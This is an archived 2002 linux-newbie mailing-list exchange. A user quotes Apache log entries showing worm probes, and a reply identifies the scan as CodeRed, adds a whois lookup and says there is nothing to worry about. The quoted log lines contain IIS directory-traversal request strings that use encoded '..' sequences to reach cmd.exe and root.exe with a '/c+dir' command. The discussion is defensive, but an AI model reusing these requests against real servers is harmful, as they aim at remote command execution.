From: Joseph Jackson <skoidat@lvcm.com>
To: linux-newbie@vger.kernel.org
Subject: [Fwd: Re: Blocking hackers]
Date: Thu, 20 Jun 2002 23:33:20 -0700 [thread overview]
Message-ID: <3D12C8B0.9020702@lvcm.com> (raw)
Phillp Morgan wrote:
> Hi,
>
> It looks like someone is trying to break into my system. This is out of my
> apache error log...
>
>
>>61.243.140.78 - - [21/Jun/2002:13:58:29 +1000] "GET /MSADC/root.exe?/c+dir
>>
> HTTP/1.0" 404 -
>
>>61.243.140.78 - - [21/Jun/2002:13:58:30 +1000] "GET
>>
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
>
>>61.243.140.78 - - [21/Jun/2002:13:58:31 +1000] "GET
>>
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
>
>>61.243.140.78 - - [21/Jun/2002:13:58:32 +1000] "GET
>>
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
>
>>61.243.140.78 - - [21/Jun/2002:13:58:33 +1000] "GET
>>
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+di
> r HTTP/1.0" 404 -
>
>>61.243.140.78 - - [21/Jun/2002:13:58:34 +1000] "GET
>>
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+di
> r HTTP/1.0" 404 -
>
>>61.243.140.78 - - [21/Jun/2002:13:58:36 +1000] "GET
>>
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../
> winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
>
>>61.243.140.78 - - [21/Jun/2002:13:58:29 +1000] "GET /MSADC/root.exe?/c+dir
>>
> HTTP/1.0" 404 -
>
>>61.243.140.78 - - [21/Jun/2002:13:58:30 +1000] "GET
>>
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
>
>>61.243.140.78 - - [21/Jun/2002:13:58:31 +1000] "GET
>>
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
>
>>61.243.140.78 - - [21/Jun/2002:13:58:32 +1000] "GET
>>
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
>
>>61.243.140.78 - - [21/Jun/2002:13:58:33 +1000] "GET
>>
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 -
This is the pattern of the CodeRed virus that was going around the net a few
months ago. You are safe from it of course since it is targeted at windows
machines running unpatched versions of IIS.
>
> Is there any way I can block this nasty person?
>
> Who should I report this to?
>
As to who you should report this to I did a lookup on the ip address and this is
the data
Search the APNIC Whois database
Search results for '61.243.140.78'
inetnum 61.240.0.0 - 61.243.255.255
netname UNICOM
descr China United Telecommunications Corporation
descr Beijing Railway Station East Avenue
country CN
admin-c RX9-AP, inverse
tech-c RX9-AP, inverse
mnt-by MAINT-CNNIC-AP, inverse
mnt-lower MAINT-CN-CNNIC-UNICOM, inverse
changed hostmaster@apnic.net 20010817
changed ipas@cnnic.net.cn 20010828
source APNIC
Since it seems to come from a user in China I doubt there is anything at all you
could do.
Even tring to get ahold of the system admins in China is very very hard. I
wouldn't worry about it at all it looks like a random scan of your domain and
from a client that is set up to scan whole ranges of addresses no worries.
Joseph Jackson
-
To unsubscribe from this list: send the line "unsubscribe linux-newbie" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.linux-learn.org/faqs
reply other threads:[~2002-06-21 6:33 UTC|newest]
Thread overview: [no followups] expand[flat|nested] mbox.gz Atom feed
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=3D12C8B0.9020702@lvcm.com \
--to=skoidat@lvcm.com \
--cc=linux-newbie@vger.kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox